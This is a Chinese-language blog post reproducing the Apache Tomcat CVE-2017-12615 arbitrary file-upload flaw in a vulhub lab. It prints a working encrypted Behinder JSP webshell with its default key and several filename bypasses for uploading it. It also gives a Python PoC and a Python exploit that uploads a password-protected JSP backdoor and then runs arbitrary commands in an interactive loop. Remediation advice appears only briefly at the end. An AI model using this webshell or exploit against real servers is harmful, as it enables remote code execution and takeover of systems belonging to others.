Tomcat任意檔案寫入(CVE-2017-12615)漏洞復現
阿新 • • 發佈:2021-10-22
漏洞描述
CVE-2017-12615:遠端程式碼執行漏洞
影響範圍:Apache Tomcat 7.0.0 - 7.0.79 (windows環境)
當 Tomcat 執行在 Windows 作業系統時,且啟用了 HTTP PUT 請求方法(例如,將 readonly 初始化引數由預設值設定為 false),攻擊者將有可能可通過精心構造的攻擊請求資料包向伺服器上傳包含任意程式碼的 JSP 檔案,JSP檔案中的惡意程式碼將能被伺服器執行。導致伺服器上的資料洩露或獲取伺服器許可權。
環境搭建
為了方便,使用vulhub搭建漏洞環境
#進入漏洞目錄 cd vulhub/tomcat/CVE-2017-12615/ #開啟環境 docker-compose up -d
檢視配置檔案
#檢視映象
docker ps
#進入映象環境
docker exec -ti 03de30c386ea bas
#檢視配置檔案conf/web.xml中readonly的設定
cat conf/web.xml | grep readonly
檢視網站
http://192.168.132.140:8080/
漏洞復現
方法一
使用burpsuite抓包,修改GET為PUT上傳方式,新增檔名1.jsp/,新增shell指令碼
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該金鑰為連線密碼32位md5值的前16位,預設連線密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
上傳成功
使用冰蠍訪問
方法二(適用於Windows系統)
新增檔名2.jsp%20,新增shell指令碼
方法三(適用於Windows系統)
新增檔名3.jsp::$DATA,新增shell指令碼
POC和EXP指令碼
POC程式碼
#CVE-2017-12615 POC import requests ip = '192.168.132.140:8080' filename = '/hello.jsp' payload = filename+'/' #上傳連結 url1 = 'http://'+ip+payload #驗證連結 url2 = 'http://'+ip+filename #測試資料 data = 'hello' #提交PUT請求 resp = requests.put(url1,data=data) #驗證檔案是否上傳成功 response = requests.get(url2) try: if resp.status_code == 201 and 'hello' in response.text: print('存在CVE-2017-12615 Tomcat 任意檔案讀寫漏洞') else: print('不存在任意檔案讀取漏洞') except Exception as e: print(e)
測試
EXP程式碼
#CVE-2017-12615 EXP
import requests
ip = '192.168.132.140:8080'
filename = '/backdoor1.jsp'
payload1 = filename+'/'
payload2 = filename+'?pwd=023&i='
#上傳連結
url1 = 'http://'+ip+payload1
#命令執行連結
url2 = 'http://'+ip+payload2
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"
headers = {"User-Agent":user_agent}
#木馬
data = '''<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>'''
#上傳木馬檔案
def upload(url):
resp = requests.put(url,headers=headers,data = data)
try:
if resp.status_code == 201:
print('木馬上傳成功')
else:
print('上傳失敗')
except Exception as e:
print(e)
#命令執行
def attack(url,cmd):
resp = requests.get(url+cmd)
try:
if resp.status_code == 200:
print(resp.text)
else:
print('命令執行錯誤')
except Exception as e:
print(e)
upload(url1)
while(1):
cmd = input('輸入執行命令(quit退出):')
if(cmd == 'quit'):
break
attack(url2,cmd)
測試
修復漏洞
-
設定conf/webxml 檔案的 readOnly 值為 Ture 或註釋引數
-
禁用 PUT 方法並重啟 tomcat 服務(如果禁用 PUT 方法,對於依賴PUT方法的應用,可能導致業務失效。)
-
升級到最新版本
-
使用WAF產品進行防禦
參考文章
https://blog.csdn.net/weixin_45540609/article/details/119170419